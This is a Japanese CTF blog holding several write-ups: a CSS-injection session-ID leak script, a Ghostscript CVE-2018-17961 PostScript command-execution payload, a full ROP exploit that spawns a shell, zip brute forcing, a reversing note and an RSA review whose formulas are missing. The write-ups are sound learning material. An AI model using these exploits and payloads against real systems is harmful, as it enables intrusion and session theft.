temp1.format(trial, known_tails) payload += " { " payload += temp2.format(own_host, trial) payload += " } " print(payload) return payload def search_session_id(session, known_tails): return send_msg_at_local(session, get_injection_css(known_tails)) if __name__ == '__main__': known_sid = '' session = requests.Session() login(session) login_at_local(session) for i in range(22 - len(known_sid)): search_session_id(session, known_sid) leaked = raw_input("> ") known_sid = leaked + known_sid print(known_sid)
webhookinboxを眺めながらヒットした文字を入力すれば最終的なセッションIDを出力してくれる。
30秒の待機はスクリーンショットが30秒以上の間隔を開けないと使えなかったから。
Exploit
画像のアップロードでどうすればいいのかは問題の名前から察しがついた。
TWCTFでも出てた気がするけど、ghostscript
の脆弱性を使えばいい、PoCのコードがそのまま動く。
以下のコードを脆弱性のあるghostscript
が読み込めばecho test
が実行されることになる。
%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%echo test) currentdevice putdeviceprops
このコードを適当な名前(exploit.eps
とか)で保存して画像としてアップロードしてやると、コマンドの実行結果が返ってくる。
あとは問題のリンクの最初にあったディレクトリ以下をls
してフラグを表示してやればいい。
この脆弱性についてはCVE-2018-17961とかで調べたり、前に調べたのがhttps://hiziriai.hatenablog.com/entry/2018/09/06/161559にある。合ってるかは知らないけどな。
SECCON 2018 Online CTF Writeup
SECCON 2018 Online CTF writeup
解けたのはClassic Pwn, Runme, Unzipの3問。
何故かSpecial Instructionが解けてるのに正解が出ず...
そのままずるずると終わりました。
Classic Pwn
Pwn
まさに古典的Pwnといった感じの問題、classicという実行ファイルとlibcが降ってくる。
プログラムの動作は、gets
で入力を受け取ってローカルバッファに格納して終了するというだけ。
4006a9: 55 push rbp 4006aa: 48 89 e5 mov rbp,rsp 4006ad: 48 83 ec 40 sub rsp,0x40 4006b1: bf 74 07 40 00 mov edi,0x400774 4006b6: e8 65 fe ff ff call 400520 <puts@plt> 4006bb: bf 8e 07 40 00 mov edi,0x40078e 4006c0: b8 00 00 00 00 mov eax,0x0 4006c5: e8 76 fe ff ff call 400540 <printf@plt> 4006ca: 48 8d 45 c0 lea rax,[rbp-0x40] 4006ce: 48 89 c7 mov rdi,rax 4006d1: e8 8a fe ff ff call 400560 <gets@plt> 4006d6: bf 9f 07 40 00 mov edi,0x40079f 4006db: e8 40 fe ff ff call 400520 <puts@plt> 4006e0: b8 00 00 00 00 mov eax,0x0 4006e5: c9 leave 4006e6: c3 ret
gets
は際限なく入力を受け取るのでオーバーフローする。
Stack Protectionがないのでmain
のあとのリターンアドレスを書き換えることができ、制御を奪うことができる。
ただしx64なのでスタックに引数は積めない、ROPが必要になる。
libcもあるので、libcのベースアドレスをリークさせてsystem
を呼び出すことにした。
puts
にGOT領域にある関数のアドレスを引数として渡すことで、その関数のアドレスを出力させる。
関数のアドレスからその関数のオフセットを引くことで、libcのベースアドレスを計算できる。
そこで、libcのベースアドレスからsystem
とlibc内の/bin/sh
のアドレスを取得する。
オフセットはreadelf
とstrings
で取得できる。
それかpwntools
のELF
とかを使っても取得できるはず。
$ readelf --sym libc # putsのオフセットは0x6f690 ... 404: 000000000006f690 456 FUNC WEAK DEFAULT 13 puts@@GLIBC_2.2.5 ... $ strings -t x libc | grep /bin/sh # /bin/shのオフセットは0x18cd57 18cd57 /bin/sh
最後にsystem
を呼び出すため、もう一度プログラムの制御を奪う必要がある。
main関数をもう一度呼び出すことで再び制御を奪えるようにした。
まとめると
- BOFで
puts
でGOT領域にある関数のアドレスを出力し、main
の先頭に戻る - 出力されたアドレスから
system
と/bin/sh
のアドレスを計算 - もう一度BOFをして、今度は計算された
system
を/bin/sh
を引数にして実行する - シェルゲット
という感じ。
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * context.update(arch='amd64') exe = './classic' libc = './libc' def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote('classic.pwn.seccon.jp', 17354) else: return process([exe] + argv, *a, **kw) #=========================================================== # EXPLOIT GOES HERE #=========================================================== io = start() # libcでのそれぞれの関数へのオフセット system_offset = 0x0000000000045390 puts_offset = 0x000000000006f690 binsh_offset = 0x18cd57 elf = ELF(exe) # rop gadget pop_rdi = 0x00400753 # pop rdi; ret main = 0x004006a9 # 2回脆弱性を攻撃するためにmain関数のアドレス、ret2vul # オーバーフローするまでのパディング payload = 'A' * 0x40 # padding # push rbpでスタックに積まれたrbpを上書きする部分 payload += 'B' * 8 # prev_rbp # puts(puts@got)でGOT領域に格納されたputsのアドレスを出力し、main関数をもう一度実行する payload += p64(pop_rdi) # rdiに引数としてputs@gotを設定 payload += p64(elf.got['puts']) # popされる payload += p64(elf.plt['puts']) # puts(puts@got)、putsのアドレスを出力 payload += p64(main) # mainをもう一度実行する io.clean() # 余計な出力を削除 io.sendline(payload) io.recvuntil("Have a nice pwn!!\n") # 余計な部分まで読み出して削除 # putsのアドレスからlibcのベースアドレスを計算 puts_addr = io.recvline()[0:6] # GOT領域のputsのアドレス、先頭2バイトが0なので6バイトまで puts_addr = u64(puts_addr + '\0\0') # 足りない2バイトの0を補って数値に変換 libc_base = puts_addr - puts_offset # putsのオフセットを引くことでlibcのベースアドレスが計算できる # libcのベースアドレスにオフセットを足して、それぞれのアドレスを計算 system_addr = libc_base + system_offset binsh_addr = libc_base + binsh_offset # デバッグのためログとして出力、pwndbgならgotコマンドでgotのアドレスが表示できるよ log.info("puts @ got: {}".format(hex(puts_addr))) log.info('libc base: {}'.format(hex(libc_base))) # mainがもう一度実行されているので、こんどはsystemを呼び出すようにオーバーフローさせる payload = 'A' * 0x40 # padding payload += 'B' * 8 # prev_rbp # system("/bin/sh") payload += p64(pop_rdi) payload += p64(binsh_addr) # /bin/shをrdiに設定し、引数とする payload += p64(system_addr) # やったぜ io.sendline(payload) io.interactive()
Runme
WinのPEが降ってくる。
中身はコマンドライン引数を一文字ずつ比較する関数を次々と呼び出しているだけなので、比較している文字を順番通りに並べればフラグになる。
Unzip
解凍するとzipファイルと解凍に使ったスクリプトが出てくる。
echo 'SECCON{'`cat key`'}' > flag.txt zip -e --password=`perl -e "print time()"` flag.zip flag.txt
perl -e "print time()"
がパスワードらしい。
time
はUNIX時間を返すのと、flag.zip
の作成日からおおよそ"1540566600"の前後だということが分かった。
あとは前後60秒くらいをブルートフォースすればいい。
手動でやるのは面倒だったのでPythonにやらせた。
面倒なことは
import zipfile unixtime = 1540566600 zipf = zipfile.ZipFile('./flag.zip') for i in range(70): try: zipf.extractall(pwd=str(unixtime+i)) except RuntimeError as e: continue
解凍するとflagが出てくる。
Special Instruction
マイナーなアーキテクチャのバイナリが降ってくる。
マルチアーキテクチャ対応のreadelf
とかだとMoxie
というアーキテクチャだと教えてくれる。
大熱血本のHPから実行環境付きのOVAを取得することもできる。
しかし、このバイナリはset_random_seed
とget_random_value
でオリジナルの命令を使うようになっているためそのままでは実行できない。
バイナリの挙動は、Cのソースコードにするとこんな感じである。
#include <stdio.h> unsigned int seed = 0; char flag[] = {0x6d, 0x72, 0xc3, 0xe2, 0xcf, 0x95, 0x54, 0x9d, 0xb6, 0xac, 0x03, 0x84, 0xc3, 0xc2, 0x35, 0x93, 0xc3, 0xd7, 0x7c, 0xe2, 0xdd, 0xd4, 0xac, 0x5e, 0x99, 0xc9, 0xa5, 0x34, 0xde, 0x06, 0x4e, 0x00}; char randval[] = {0x3d, 0x05, 0xdc, 0x31, 0xd1, 0x8a, 0xaf, 0x29, 0x96, 0xfa, 0xcb, 0x1b, 0x01, 0xec, 0xe2, 0xf7, 0x15, 0x70, 0x6c, 0xf4, 0x7e, 0xa1, 0x9e, 0x0e, 0x01, 0xf9, 0xc2, 0x4c, 0xba, 0xa0, 0xa1, 0x08, 0x70, 0x24, 0x85, 0x8a, 0x4d, 0x2d, 0x3c, 0x02, 0xfc, 0x6f, 0x20, 0xf0, 0xc7, 0xad, 0x2f, 0x97, 0x2b, 0xcc, 0xa3, 0x34, 0x23, 0x53, 0xc9, 0xb7, 0x0c, 0x10, 0x6c, 0x0e, 0xfa, 0xf9, 0xa1, 0x9a,}; void set_random_seed(unsigned int num) { seed = num; } unsigned int get_random_value() { seed ^= seed << 13; seed ^= seed >> 17; seed ^= seed << 5; return seed; } char* decode(char* flag, char* randval) { if (flag[0] != 0) { char* randval_ptr = randval; // r8 char* flag_ptr = flag; // r7 while(1) { unsigned char r6 = *randval_ptr; r6 ^= get_random_value(); r6 ^= *flag_ptr; *flag_ptr = r6; flag_ptr++; randval_ptr++; if (*flag_ptr == 0) { break; } } } return flag; } int main(int argc, char** argv){ // ヒントの出力 set_random_seed(0x92d68ca2); printf("%s\n", decode(flag, randval)); return 0; }
decode
とmain
は、クロスコンパイルした結果がバイナリとほぼ一致していたので合っているはず。
最初の方に出力命令があり、以下のヒントを出力するようになっていた。
SETRSEED: (Opcode:0x16) RegA -> SEED GETRAND: (Opcode:0x17) xorshift32(SEED) -> SEED SEED -> RegA
要はオリジナルの命令の挙動を説明しているんだと思う。
上記のCコードではこれも関数として補っている。
xorshift32
は疑似乱数生成アルゴリズムの一種で、高速で実装が簡単な割りに周期がそこそこ長くて優秀らしい。
wikiに載っている実装をそのまま持ってきた(uint32_t
はクロスコンパイル環境で使えなかったのでunsigned int
に変えている)。
しかし、何故かフラグとして正常にデコードできなかった。
xorshift32
はあちこちにあるサンプル実装そのままなのでおそらく合ってる、set_random_seed
はまずこれ以外ない。
となるとget_random_value
が違うということになるけど、ヒントそのままの挙動のはず。
というわけで投げた。
人のwriteup(https://hikalium.hatenablog.jp/entry/2018/10/28/164812)を見てみた。
パラメータは適当らしい、ざけんな。
xorshift32
の正解のパラメータは13, 17, 15だそうなので試したら解けた。
CTFの問題にはどんな場合でもブルートフォース要素を含めるなとは言わないが、アルゴリズムの名前だけを知らせてそのパラメータを総当たりさせることが本当にその問題を面白くするのかどうか考えてからそうして欲しい。 ヒントにたった3つの整数を付け足すだけで問題の難易度を下げることなく参加者のストレスを低減できる。
まあ論文読めば解けるのでこれは論文を読めという天啓かもしれない。
感想
Special Instructionで詰まって投げてしまってこの4つ以外はほとんど触れていない。
限られた問題だけで感想を言うと、正直微妙だった。
どうでもいいような問題ばかりであまり学べることがなく、参加してもしなくても同じという印象を抱いてしまった。
まあ偶然ハズレを引いたんだと気持ちを入れ替えて、他の問題のWriteup見て反省しよう。
大熱血本も読まないとなあ。
TokyoWesterns CTF 2018 Revolutional Secure Angou 復習 ctf crypto
Revolutional Secure Angou 復習
https://ctftime.org/writeup/10865 Writeup見て復習。
require 'openssl' e = 65537 while true p = OpenSSL::BN.generate_prime(1024, false) q = OpenSSL::BN.new(e).mod_inverse(p) next unless q.prime? key = OpenSSL::PKey::RSA.new key.set_key(p.to_i * q.to_i, e, nil) File.write('publickey.pem', key.to_pem) File.binwrite('flag.encrypted', key.public_encrypt(File.binread('flag'))) break end
僕はまったく分からなかったが、qの生成方法が普通と違うので不備があることに気付けるらしい。
通常のRSAの手順は以下のようになる。
- ランダムに2つの素数を生成、と
- とに対して素な整数, public exponentを選ぶ、たいてい0x10001, 65537になっている。
- , private exponentを計算する。これはで計算される。
- を計算し、を公開鍵、を秘密鍵にする。
普通はqもランダムに生成するが、このスクリプトではq = OpenSSL::BN.new(e).mod_inverse(p)
となっている。
つまり、で生成されている。
この式を変形するととなり、と表せる(kは任意の整数)。
ここで、両辺にをかける。
すると、となる。
なので、は知ることができる。
つまり、という2次方程式になる。
これによりを求めることができる。
が分かればを計算できる、これで暗号化されたフラグを復号できる。